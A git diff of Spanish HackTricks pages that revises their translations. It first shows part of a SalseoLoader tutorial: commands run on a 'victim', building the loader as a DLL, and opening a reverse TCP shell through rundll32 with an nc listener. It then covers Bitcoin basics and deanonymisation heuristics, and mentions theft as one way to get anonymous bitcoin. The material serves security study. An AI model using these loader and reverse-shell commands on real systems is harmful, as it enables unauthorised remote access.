-#### Dentro de la víctima, ejecutemos el asunto salseo:
+#### Dentro de la víctima, ejecutemos la cosa de salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
-## Compilando SalseoLoader como DLL exportando la función principal
+## Compilando SalseoLoader como DLL exportando función principal
Abre el proyecto SalseoLoader usando Visual Studio.
-### Añade antes de la función principal: \[DllExport]
+### Agrega antes de la función principal: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Instala DllExport para este proyecto
-#### **Herramientas** --> **Administrador de Paquetes NuGet** --> **Administrar Paquetes NuGet para la Solución...**
+#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-#### **Busca el paquete DllExport (usando la pestaña Examinar), y presiona Instalar (y acepta el popup)**
+#### **Busca el paquete DllExport (usando la pestaña Examinar), y presiona Instalar (y acepta el mensaje emergente)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
-### **Desinstala** DllExport
+### **D**esinstala DllExport
-Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario)
+Presiona **Desinstalar** (sí, es extraño pero confía en mí, es necesario)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
@@ -111,29 +115,29 @@ Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario)
Simplemente **sal** de Visual Studio
-Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport\_Configure.bat**
+Luego, ve a tu **carpeta de SalseoLoader** y **ejecuta DllExport\_Configure.bat**
-Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Espacio de nombres para DllExport**) y presiona **Aplicar**
+Selecciona **x64** (si lo vas a usar dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Espacio de nombres para DllExport**) y presiona **Aplicar**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
-### **Abre el proyecto de nuevo con Visual Studio**
+### **Abre el proyecto nuevamente con Visual Studio**
**\[DllExport]** ya no debería estar marcado como error
![](<../.gitbook/assets/image (8) (1).png>)
-### Construye la solución
+### Compila la solución
-Selecciona **Tipo de Salida = Biblioteca de Clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de Clases)
+Selecciona **Tipo de salida = Biblioteca de clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases)
![](<../.gitbook/assets/image (10) (1).png>)
-Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilar --> Objetivo de la plataforma = x64)
+Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilar --> Destino de la plataforma = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
-Para **construir** la solución: Construir --> Construir Solución (Dentro de la consola de Salida aparecerá la ruta de la nueva DLL)
+Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)
### Prueba la Dll generada
@@ -143,11 +147,11 @@ Ejecuta:
```
rundll32.exe SalseoLoader.dll,main
```
-Si no aparece ningún error, ¡probablemente tienes una DLL funcional!
+Si no aparece ningún error, ¡probablemente tienes un DLL funcional!
-## Obtener una shell usando la DLL
+## Obtén un shell usando el DLL
-No olvides usar un **servidor HTTP** y configurar un **listener nc**
+No olvides usar un **servidor HTTP** y configurar un **escucha nc**
### Powershell
```
@@ -158,6 +162,8 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
+### CMD
+
### CMD
```
set pass=password
@@ -173,10 +179,10 @@ rundll32.exe SalseoLoader.dll,main
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/blockchain/blockchain-and-crypto-currencies/README.md b/blockchain/blockchain-and-crypto-currencies/README.md
index a6d6e1dd5..feb0515d6 100644
--- a/blockchain/blockchain-and-crypto-currencies/README.md
+++ b/blockchain/blockchain-and-crypto-currencies/README.md
@@ -1,63 +1,63 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
# Terminología Básica
-* **Smart contract**: Los smart contracts son simplemente **programas almacenados en una blockchain que se ejecutan cuando se cumplen condiciones preestablecidas**. Típicamente se usan para automatizar la **ejecución** de un **acuerdo** de modo que todos los participantes puedan estar inmediatamente seguros del resultado, sin la intervención de intermediarios ni pérdida de tiempo. (De [aquí](https://www.ibm.com/topics/smart-contracts)).
-* Básicamente, un smart contract es un **fragmento de código** que se ejecutará cuando las personas accedan y acepten el contrato. Los smart contracts **funcionan en blockchains** (por lo que los resultados se almacenan de forma inmutable) y pueden ser leídos por las personas antes de aceptarlos.
-* **dApps**: Las **aplicaciones descentralizadas** se implementan sobre **smart contracts**. Usualmente tienen un front-end donde el usuario puede interactuar con la app, el **back-end** es público (por lo que puede ser auditado) y está implementado como un **smart contract**. A veces se necesita el uso de una base de datos, la blockchain de Ethereum asigna cierto almacenamiento a cada cuenta.
-* **Tokens & coins**: Una **coin** es una criptomoneda que actúa como **dinero digital** y un **token** es algo que **representa** algún **valor** pero no es una coin.
-* **Utility Tokens**: Estos tokens permiten al usuario **acceder a cierto servicio más adelante** (es algo que tiene valor en un entorno específico).
-* **Security Tokens**: Estos representan la **propiedad** de algún activo.
+* **Contrato inteligente**: Los contratos inteligentes son simplemente **programas almacenados en una cadena de bloques que se ejecutan cuando se cumplen condiciones predeterminadas**. Normalmente se utilizan para automatizar la **ejecución** de un **acuerdo** para que todos los participantes puedan estar inmediatamente seguros del resultado, sin la intervención de intermediarios ni pérdida de tiempo. (De [aquí](https://www.ibm.com/topics/smart-contracts)).
+* Básicamente, un contrato inteligente es un **fragmento de código** que se ejecutará cuando las personas accedan y acepten el contrato. Los contratos inteligentes **se ejecutan en cadenas de bloques** (por lo que los resultados se almacenan de forma inmutable) y pueden ser leídos por las personas antes de aceptarlos.
+* **dApps**: Las **aplicaciones descentralizadas** se implementan sobre **contratos** **inteligentes**. Normalmente tienen un front-end donde el usuario puede interactuar con la aplicación, el **back-end** es público (por lo que puede ser auditado) y se implementa como un **contrato inteligente**. A veces se necesita el uso de una base de datos, la cadena de bloques de Ethereum asigna cierto almacenamiento a cada cuenta.
+* **Tokens y monedas**: Una **moneda** es una criptomoneda que actúa como **dinero digital** y un **token** es algo que **representa** algún **valor** pero no es una moneda.
+* **Tokens de utilidad**: Estos tokens permiten al usuario **acceder a cierto servicio más adelante** (es algo que tiene algún valor en un entorno específico).
+* **Tokens de seguridad**: Estos representan la **propiedad** o algún activo.
* **DeFi**: **Finanzas Descentralizadas**.
-* **DEX: Plataformas de Intercambio Descentralizadas**.
+* **DEX: Plataformas de Intercambio Descentralizado**.
* **DAOs**: **Organizaciones Autónomas Descentralizadas**.
# Mecanismos de Consenso
-Para que una transacción en blockchain sea reconocida, debe ser **añadida** a la **blockchain**. Los validadores (mineros) llevan a cabo este añadido; en la mayoría de los protocolos, **reciben una recompensa** por hacerlo. Para que la blockchain permanezca segura, debe tener un mecanismo para **prevenir que un usuario malicioso o grupo tome control de la mayoría de la validación**.
+Para que una transacción de cadena de bloques sea reconocida, debe ser **añadida** a la **cadena de bloques**. Los validadores (mineros) llevan a cabo esta adición; en la mayoría de los protocolos, **reciben una recompensa** por hacerlo. Para que la cadena de bloques permanezca segura, debe tener un mecanismo para **evitar que un usuario malintencionado o un grupo se apodere de la mayoría de la validación**.
-Proof of work, otro mecanismo de consenso comúnmente utilizado, usa una validación de proeza computacional para verificar transacciones, requiriendo que un atacante potencial adquiera una gran fracción del poder computacional de la red de validadores.
+La Prueba de Trabajo, otro mecanismo de consenso comúnmente utilizado, utiliza una validación de destreza computacional para verificar transacciones, requiriendo que un posible atacante adquiera una gran fracción del poder computacional de la red de validadores.
-## Proof Of Work (PoW)
+## Prueba de Trabajo (PoW)
-Esto utiliza una **validación de proeza computacional** para verificar transacciones, requiriendo que un atacante potencial adquiera una gran fracción del poder computacional de la red de validadores.\
-Los **mineros** seleccionarán varias transacciones y luego comenzarán a **computar el Proof Of Work**. El **minero con mayores recursos computacionales** probablemente **terminará antes** el Proof of Work y obtendrá las tarifas de todas las transacciones.
+Esto utiliza una **validación de destreza computacional** para verificar transacciones, requiriendo que un posible atacante adquiera una gran fracción del poder computacional de la red de validadores.\
+Los **mineros** **seleccionarán varias transacciones** y luego comenzarán a **calcular la Prueba de Trabajo**. El **minero con los mayores recursos computacionales** es más probable que **termine antes** la Prueba de Trabajo y obtenga las tarifas de todas las transacciones.
-## Proof Of Stake (PoS)
+## Prueba de Participación (PoS)
-PoS logra esto al **requerir que los validadores posean cierta cantidad de tokens de la blockchain**, requiriendo que **los atacantes potenciales adquieran una gran fracción de los tokens** en la blockchain para lanzar un ataque.\
-En este tipo de consenso, cuanto más tokens tenga un minero, más probable será que se le pida crear el siguiente bloque.\
-Comparado con PoW, esto reduce significativamente el **consumo de energía** que los mineros están gastando.
+PoS logra esto al **requerir que los validadores tengan una cierta cantidad de tokens de cadena de bloques**, requiriendo que **los posibles atacantes adquieran una gran fracción de los tokens** en la cadena de bloques para lanzar un ataque.\
+En este tipo de consenso, cuantos más tokens tenga un minero, más probable será que se le pida al minero que cree el siguiente bloque.\
+En comparación con PoW, esto **reduce en gran medida el consumo de energía** que los mineros están gastando.
# Bitcoin
## Transacciones
Una **transacción** simple es un **movimiento de dinero** de una dirección a otra.\
-Una **dirección** en bitcoin es el hash de la **clave pública**, por lo tanto, alguien para realizar una transacción desde una dirección necesita conocer la clave privada asociada a esa clave pública (la dirección).\
-Entonces, cuando se realiza una **transacción**, se **firma** con la clave privada de la dirección para demostrar que la transacción es **legítima**.
+Una **dirección** en bitcoin es el hash de la **clave pública**, por lo tanto, para que alguien realice una transacción desde una dirección, necesita conocer la clave privada asociada a esa clave pública (la dirección).\
+Entonces, cuando se realiza una **transacción**, se **firma** con la clave privada de la dirección para mostrar que la transacción es **legítima**.
-La primera parte de la producción de una firma digital en Bitcoin puede representarse matemáticamente de la siguiente manera:\
+La primera parte de la producción de una firma digital en Bitcoin se puede representar matemáticamente de la siguiente manera:\
_**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_)
Donde:
* \_d\_A es la **clave privada** de firma
* _m_ es la **transacción**
-* Fhash es la función de hashing
+* Fhash es la función de hash
* Fsig es el algoritmo de firma
* Sig es la firma resultante
@@ -65,74 +65,74 @@ La función de firma (Fsig) produce una firma (Sig) que consta de dos valores: R
* Sig = (R, S)
-Una vez que se han calculado R y S, se serializan en un flujo de bytes que se codifica utilizando un esquema de codificación estándar internacional conocido como Distinguished Encoding Rules (o DER). Para verificar que la firma es válida, se utiliza un algoritmo de verificación de firma. La verificación de una firma digital requiere lo siguiente:
+Una vez que se han calculado R y S, se serializan en un flujo de bytes que se codifica utilizando un esquema de codificación estándar internacional conocido como Reglas de Codificación Distinguidas (o DER). Para verificar que la firma es válida, se utiliza un algoritmo de verificación de firma. La verificación de una firma digital requiere lo siguiente:
* Firma (R y S)
* Hash de la transacción
* La clave pública que corresponde a la clave privada que se utilizó para crear la firma
-La verificación de una firma efectivamente significa que solo el propietario de la clave privada (que generó la clave pública) podría haber producido la firma en la transacción. El algoritmo de verificación de firma devolverá 'TRUE' si la firma es válida.
+La verificación de una firma efectivamente significa que solo el propietario de la clave privada (que generó la clave pública) podría haber producido la firma en la transacción. El algoritmo de verificación de firma devolverá 'VERDADERO' si la firma es realmente válida.
### Transacciones Multifirma
-Una **dirección** multifirma es una dirección que está asociada con más de una clave privada ECDSA. El tipo más simple es una dirección m-de-n - está asociada con n claves privadas, y enviar bitcoins desde esta dirección requiere firmas de al menos m claves. Una **transacción** multifirma es una que envía fondos desde una dirección multifirma.
+Una **dirección multifirma** es una dirección asociada con más de una clave privada ECDSA. El tipo más simple es una dirección m-de-n: está asociada con n claves privadas, y enviar bitcoins desde esta dirección requiere firmas de al menos m claves. Una **transacción multifirma** es aquella que envía fondos desde una dirección multifirma.
-### Campos de las Transacciones
+### Campos de Transacciones
Cada transacción de bitcoin tiene varios campos:
-* **Entradas**: La cantidad y dirección **desde** donde se **transfieren** los **bitcoins**
-* **Salidas**: La dirección y cantidades que se **transfieren** a **cada** **salida**
-* **Comisión:** La cantidad de **dinero** que se **paga** al **minero** de la transacción
-* **Script\_sig**: Firma del script de la transacción
+* **Entradas**: La cantidad y la dirección **desde** donde se **están transfiriendo** los **bitcoins**
+* **Salidas**: La dirección y las cantidades que se transfieren a **cada** **salida**
+* **Tarifa:** La cantidad de **dinero** que se **paga** al **minero** de la transacción
+* **Script\_sig**: Firma de script de la transacción
* **Script\_type**: Tipo de transacción
Hay **2 tipos principales** de transacciones:
-* **P2PKH: "Pay To Public Key Hash"**: Así es como se realizan las transacciones. Se requiere que el **emisor** proporcione una **firma válida** (de la clave privada) y **clave pública**. El script de salida de la transacción usará la firma y la clave pública y mediante algunas funciones criptográficas comprobará **si coincide** con el hash de la clave pública, si es así, entonces los **fondos** serán **gastables**. Este método oculta tu clave pública en forma de hash para mayor seguridad.
-* **P2SH: "Pay To Script Hash":** Las salidas de una transacción son solo **scripts** (esto significa que la persona que quiere este dinero envía un script) que, si se **ejecutan con parámetros específicos, resultarán en un booleano de `true` o `false`**. Si un minero ejecuta el script de salida con los parámetros suministrados y resulta en `true`, el **dinero será enviado a la salida deseada**. `P2SH` se utiliza para **billeteras multifirma** haciendo que los scripts de salida **lógica que verifica múltiples firmas antes de aceptar la transacción**. `P2SH` también puede usarse para permitir que cualquiera, o nadie, gaste los fondos. Si el script de salida de una transacción P2SH es solo `1` para verdadero, entonces intentar gastar la salida sin suministrar parámetros simplemente resultará en `1` haciendo que el dinero sea gastable por cualquiera que lo intente. Esto también se aplica a scripts que devuelven `0`, haciendo que la salida sea gastable por nadie.
+* **P2PKH: "Pagar a la Clave Pública Hash"**: Así es como se realizan las transacciones. Se requiere que el **remitente** proporcione una **firma** válida (de la clave privada) y **clave** **pública**. El script de salida de la transacción utilizará la firma y la clave pública y, a través de algunas funciones criptográficas, verificará **si coincide** con el hash de la clave pública, si lo hace, entonces los **fondos** serán **gastables**. Este método oculta tu clave pública en forma de hash para mayor seguridad.
+* **P2SH: "Pagar a Script Hash":** Las salidas de una transacción son simplemente **scripts** (esto significa que la persona que desea este dinero envía un script) que, si se **ejecutan con parámetros específicos, darán como resultado un booleano de `true` o `false`**. Si un minero ejecuta el script de salida con los parámetros suministrados y da como resultado `true`, el **dinero se enviará a la salida deseada**. `P2SH` se utiliza para **monederos multifirma** haciendo que los scripts de salida sean **lógica que verifica múltiples firmas antes de aceptar la transacción**. `P2SH` también se puede utilizar para permitir que cualquiera, o nadie, gaste los fondos. Si el script de salida de una transacción P2SH es simplemente `1` para verdadero, entonces intentar gastar la salida sin suministrar parámetros simplemente dará como resultado `1`, haciendo que el dinero sea gastable por cualquiera que lo intente. Esto también se aplica a los scripts que devuelven `0`, haciendo que la salida sea gastable por nadie.
-## Lightning Network
+## Red Lightning
-Este protocolo ayuda a **realizar varias transacciones en un canal** y **solo enviar** el **estado final** a la blockchain para guardarlo.\
-Esto **mejora** la **velocidad** de la blockchain de bitcoin (solo permite 7 pagos por segundo) y permite crear **transacciones más difíciles de rastrear** ya que el canal se crea a través de nodos de la blockchain de bitcoin:
+Este protocolo ayuda a **realizar varias transacciones a un canal** y **solo** **enviar** el **estado final** a la cadena de bloques para guardarlo.\
+Esto **mejora** la **velocidad** de la cadena de bloques de bitcoin (solo permite 7 pagos por segundo) y permite crear **transacciones más difíciles de rastrear** ya que el canal se crea a través de nodos de la cadena de bloques de bitcoin:
![](<../../.gitbook/assets/image (611).png>)
-El uso normal de la Lightning Network consiste en **abrir un canal de pago** comprometiendo una transacción de financiamiento a la blockchain base relevante (capa 1), seguido de realizar **cualquier número** de transacciones de Lightning Network que actualicen la distribución tentativa de los fondos del canal **sin transmitirlos a la blockchain**, opcionalmente seguido por cerrar el canal de pago **transmitiendo** la **versión final** de la transacción de liquidación para distribuir los fondos del canal.
+El uso normal de la Red Lightning consiste en **abrir un canal de pago** comprometiendo una transacción de financiación a la cadena de bloques base relevante (capa 1), seguido de realizar **cualquier número** de transacciones de la Red Lightning que actualizan la distribución tentativa de los fondos del canal **sin transmitirlas a la cadena de bloques**, seguido opcionalmente por cerrar el canal de pago al **transmitir** la **versión final** de la transacción de liquidación para distribuir los fondos del canal.
-Nota que cualquiera de los dos miembros del canal puede detener y enviar el estado final del canal a la blockchain en cualquier momento.
+Cabe destacar que cualquiera de los dos miembros del canal puede detenerse y enviar el estado final del canal a la cadena de bloques en cualquier momento.
# Ataques a la Privacidad de Bitcoin
## Entrada Común
-Teóricamente las entradas de una transacción pueden pertenecer a diferentes usuarios, pero en realidad eso es inusual ya que requiere pasos adicionales. Por lo tanto, muy a menudo se puede asumir que **2 direcciones de entrada en la misma transacción pertenecen al mismo propietario**.
+Teóricamente, las entradas de una transacción pueden pertenecer a diferentes usuarios, pero en realidad eso es inusual ya que requiere pasos adicionales. Por lo tanto, muy a menudo se puede asumir que **2 direcciones de entrada en la misma transacción pertenecen al mismo propietario**.
-## Detección de Dirección de Cambio UTXO
+## Detección de Direcciones de Cambio UTXO
-**UTXO** significa **Salidas de Transacción No Gastadas** (UTXOs). En una transacción que utiliza la salida de una transacción anterior como entrada, se **debe gastar toda la salida** (para evitar ataques de doble gasto). Por lo tanto, si la intención era **enviar** solo **parte** del dinero de esa salida a una dirección y **conservar** la **otra parte**, aparecerán **2 salidas diferentes**: la **destinada** y una **nueva dirección de cambio aleatoria** donde se guardará el resto del dinero.
+**UTXO** significa **Salidas de Transacción No Gastadas** (UTXOs). En una transacción que utiliza la salida de una transacción anterior como entrada, **toda la salida debe ser gastada** (para evitar ataques de doble gasto). Por lo tanto, si la intención era **enviar** solo **parte** del dinero de esa salida a una dirección y **mantener** la **otra** **parte**, aparecerán **2 salidas diferentes**: la **intencionada** y una **nueva dirección de cambio aleatoria** donde se guardará el resto del dinero.
Entonces, un observador puede asumir que **la nueva dirección de cambio generada pertenece al propietario del UTXO**.
-## Redes Sociales & Foros
+## Redes Sociales y Foros
-Algunas personas dan datos sobre sus direcciones de bitcoin en diferentes sitios web en Internet. **Esto hace bastante fácil identificar al propietario de una dirección**.
+Algunas personas comparten datos sobre sus direcciones de bitcoin en diferentes sitios web en Internet. **Esto hace bastante fácil identificar al propietario de una dirección**.
## Gráficos de Transacciones
-Al representar las transacciones en gráficos, **es posible saber con cierta probabilidad hacia dónde fue el dinero de una cuenta**. Por lo tanto, es posible saber algo sobre **usuarios** que están **relacionados** en la blockchain.
+Al representar las transacciones en gráficos, **es posible saber con cierta probabilidad a dónde fueron a parar los fondos de una cuenta**. Por lo tanto, es posible saber algo sobre los **usuarios** que están **relacionados** en la cadena de bloques.
-## **Heurística de entrada innecesaria**
+## **Heurística de Entrada Innecesaria**
-También llamada la "heurística de cambio óptimo". Considere esta transacción de bitcoin. Tiene dos entradas por valor de 2 BTC y 3 BTC y dos salidas por valor de 4 BTC y 1 BTC.
+También llamada "heurística de cambio óptimo". Considera esta transacción de bitcoin. Tiene dos entradas por un valor de 2 BTC y 3 BTC y dos salidas por un valor de 4 BTC y 1 BTC.
```
2 btc --> 4 btc
3 btc 1 btc
```
-Asumiendo que una de las salidas es el cambio y la otra salida es el pago. Hay dos interpretaciones: la salida del pago es o bien la salida de 4 BTC o la salida de 1 BTC. Pero si la salida de 1 BTC es la cantidad del pago, entonces la entrada de 3 BTC es innecesaria, ya que la billetera podría haber gastado solo la entrada de 2 BTC y haber pagado comisiones de mineros más bajas por hacerlo. Esto indica que la salida de pago real es de 4 BTC y que 1 BTC es la salida de cambio.
+Suponiendo que una de las salidas es el cambio y la otra salida es el pago. Hay dos interpretaciones: la salida de pago es o bien la salida de 4 BTC o la salida de 1 BTC. Pero si la salida de 1 BTC es la cantidad de pago, entonces la entrada de 3 BTC es innecesaria, ya que la billetera podría haber gastado solo la entrada de 2 BTC y pagado tarifas de minero más bajas por hacerlo. Esto indica que la salida real de pago es de 4 BTC y que 1 BTC es la salida de cambio.
-Este es un problema para las transacciones que tienen más de una entrada. Una forma de solucionar esta fuga es agregar más entradas hasta que la salida de cambio sea mayor que cualquier entrada, por ejemplo:
+Esto es un problema para transacciones que tienen más de una entrada. Una forma de solucionar esta fuga es agregar más entradas hasta que la salida de cambio sea mayor que cualquier entrada, por ejemplo:
```
2 btc --> 4 btc
3 btc 6 btc
@@ -140,142 +140,142 @@ Este es un problema para las transacciones que tienen más de una entrada. Una f
```
## Reutilización forzada de direcciones
-La **reutilización forzada de direcciones** o **reutilización incentivada de direcciones** es cuando un adversario paga una cantidad (a menudo pequeña) de bitcoin a direcciones que ya se han utilizado en la cadena de bloques. El adversario espera que los usuarios o su software de billetera **utilicen los pagos como entradas para una transacción más grande que revelará otras direcciones a través de la heurística de propiedad común de entrada**. Estos pagos pueden entenderse como una forma de coaccionar al propietario de la dirección para que reutilice la dirección sin intención.
+La **reutilización forzada de direcciones** o **reutilización incentivada de direcciones** ocurre cuando un adversario paga una cantidad (a menudo pequeña) de bitcoin a direcciones que ya han sido utilizadas en la cadena de bloques. El adversario espera que los usuarios o su software de billetera **utilicen los pagos como insumos para una transacción más grande que revelará otras direcciones a través de la heurística de propiedad de entrada común**. Estos pagos pueden entenderse como una forma de obligar al propietario de la dirección a una reutilización de direcciones no intencional.
-Este ataque a veces se llama incorrectamente un **ataque de polvo**.
+A veces, este ataque se llama incorrectamente **ataque de polvo**.
-El comportamiento correcto por parte de las billeteras es no gastar monedas que han llegado a direcciones ya utilizadas y vacías.
+El comportamiento correcto de las billeteras es no gastar monedas que hayan llegado a direcciones vacías ya utilizadas.
-## Otras análisis de Blockchain
+## Otras Análisis de Blockchain
-* **Cantidades exactas de pago**: Para evitar transacciones con cambio, el pago debe ser igual al UTXO (lo cual es muy inesperado). Por lo tanto, una **transacción sin dirección de cambio probablemente sea una transferencia entre 2 direcciones del mismo usuario**.
-* **Números redondos**: En una transacción, si una de las salidas es un "**número redondo**", es muy probable que este sea un **pago a un humano que puso ese precio** de "número redondo", por lo que la otra parte debe ser el sobrante.
-* **Huella digital de billetera:** Un analista cuidadoso a veces puede deducir qué software creó una cierta transacción, porque los **diferentes softwares de billetera no siempre crean transacciones de exactamente la misma manera**. La huella digital de billetera se puede utilizar para detectar salidas de cambio porque una salida de cambio es la que se gasta con la misma huella digital de billetera.
-* **Correlaciones de cantidad y tiempo**: Si la persona que realizó la transacción **divulga** el **tiempo** y/o la **cantidad** de la transacción, puede ser fácilmente **descubrible**.
+* **Montos de pago exactos**: Para evitar transacciones con cambio, el pago debe ser igual al UTXO (lo cual es altamente inesperado). Por lo tanto, una **transacción sin dirección de cambio probablemente sea una transferencia entre 2 direcciones del mismo usuario**.
+* **Números redondos**: En una transacción, si una de las salidas es un "**número redondo**", es altamente probable que sea un **pago a un humano que colocó ese** "número redondo" **de precio**, por lo que la otra parte debe ser el sobrante.
+* **Identificación de billeteras**: Un analista cuidadoso a veces puede deducir qué software creó una determinada transacción, ya que los **diferentes softwares de billeteras no siempre crean transacciones de la misma manera**. La identificación de billeteras se puede utilizar para detectar salidas de cambio porque una salida de cambio es aquella gastada con la misma identificación de billetera.
+* **Correlaciones de monto y tiempo**: Si la persona que realizó la transacción **revela** el **tiempo** y/o **monto** de la transacción, puede ser fácilmente **descubrible**.
## Análisis de tráfico
-Una organización que **intercepte su tráfico** puede verle comunicándose en la red de bitcoin.\
-Si el adversario ve una transacción o bloque **saliendo de su nodo que no entró previamente**, entonces puede saber con casi certeza que **la transacción fue realizada por usted o el bloque fue minado por usted**. Como se involucran conexiones a Internet, el adversario podrá **vincular la dirección IP con la información de bitcoin descubierta**.
+Algunas organizaciones que **interceptan su tráfico** pueden ver que usted está comunicándose en la red de bitcoin.\
+Si el adversario ve una transacción o bloque **saliendo de su nodo que no había entrado previamente**, entonces puede saber con casi total certeza que **la transacción fue realizada por usted o el bloque fue minado por usted**. Dado que las conexiones a Internet están involucradas, el adversario podrá **vincular la dirección IP con la información de bitcoin descubierta**.
-Un atacante que no pueda interceptar todo el tráfico de Internet pero que tenga **muchos nodos de Bitcoin** para estar **más cerca** de las **fuentes** podría ser capaz de conocer la dirección IP que está anunciando transacciones o bloques.\
-Además, algunas billeteras retransmiten periódicamente sus transacciones no confirmadas para que sean más propensas a propagarse ampliamente a través de la red y ser minadas.
+Un atacante que no puede interceptar todo el tráfico de Internet pero que tiene **muchos nodos de Bitcoin** para permanecer **más cerca** de las fuentes podría ser capaz de conocer las direcciones IP que están anunciando transacciones o bloques.\
+Además, algunas billeteras retransmiten periódicamente sus transacciones no confirmadas para que tengan más probabilidades de propagarse ampliamente a través de la red y ser minadas.
## Otros ataques para encontrar información sobre el propietario de direcciones
-Para más ataques lea [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)
+Para más ataques, leer [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)
# Bitcoins Anónimos
## Obtención de Bitcoins de forma anónima
-* **Comercio con efectivo:** Compre bitcoin con efectivo.
-* **Sustituto de efectivo:** Compre tarjetas de regalo o similares e intercámbielas por bitcoin en línea.
-* **Minería:** La minería es la forma más anónima de obtener bitcoin. Esto se aplica a la minería en solitario ya que los [pools de minería](https://en.bitcoin.it/wiki/Pooled\_mining) generalmente conocen la dirección IP del minero.
-* **Robo:** En teoría, otra forma de obtener bitcoin anónimamente es robarlos.
+* **Intercambios en efectivo:** Comprar bitcoins usando efectivo.
+* **Sustituto de efectivo:** Comprar tarjetas de regalo u similares e intercambiarlas por bitcoins en línea.
+* **Minería:** La minería es la forma más anónima de obtener bitcoins. Esto se aplica a la minería en solitario ya que los [pools de minería](https://en.bitcoin.it/wiki/Pooled\_mining) generalmente conocen la dirección IP del minero.
+* **Robo:** En teoría, otra forma de obtener bitcoin de forma anónima es robándolos.
## Mezcladores
